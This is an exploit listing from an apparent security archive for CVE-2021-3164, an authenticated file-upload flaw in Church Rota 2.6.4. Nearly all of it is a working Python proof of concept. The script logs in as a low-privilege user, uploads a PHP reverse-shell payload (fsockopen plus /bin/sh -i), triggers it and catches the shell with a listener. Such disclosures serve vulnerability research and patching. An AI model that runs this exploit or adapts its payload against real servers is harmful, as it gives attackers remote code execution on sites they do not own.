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Church Rota 2.6.4 Shell Upload

Church Rota 2.6.4 Shell Upload
Posted Jan 20, 2021
Authored by Rob McCarthy

Church Rota version 2.6.4 suffers from an authenticated remote shell upload vulnerability.

tags | exploit, remote, shell
advisories | CVE-2021-3164
MD5 | e841fbff38c5cede21d193f544b6a04e

Church Rota 2.6.4 Shell Upload

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import requests
from pwn import listen

############################################################################################################
# CVE-2021-3164
# Church Rota version 2.6.4 is vulnerable to authenticated remote code execution. #
# The user does not need to have file upload permission in order to upload and execute an arbitrary file. #
# The application is written primarily with PHP so we use PHP in our PoC #
############################################################################################################

# credentials of the low privilege user
USERNAME='slixperi'
PASSWORD='slixperi'

LISTENER_IP = '127.0.0.1'
LISTENER_PORT = '4444'
TARGET_IP = '127.0.0.1'
TARGET_PORT = '8081'

# set the credentials for login POST
credentials = {"username":USERNAME,"password":PASSWORD}
# create a session to preserve session state
sesh = requests.session()
# login as our low-privilege user (normally only admins can upload files)
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/login.php", data=credentials)

# define the payload
payload = f"<?php $sock=fsockopen(\"{LISTENER_IP}\",{LISTENER_PORT});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>"

# file upload
sesh.headers.update({"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new"})
files = {'resourcefile': ("shell.php", payload)}
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent", files=files)

l = listen(LISTENER_PORT)

# execute the file
sesh.get(f"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php")

l.interactive()
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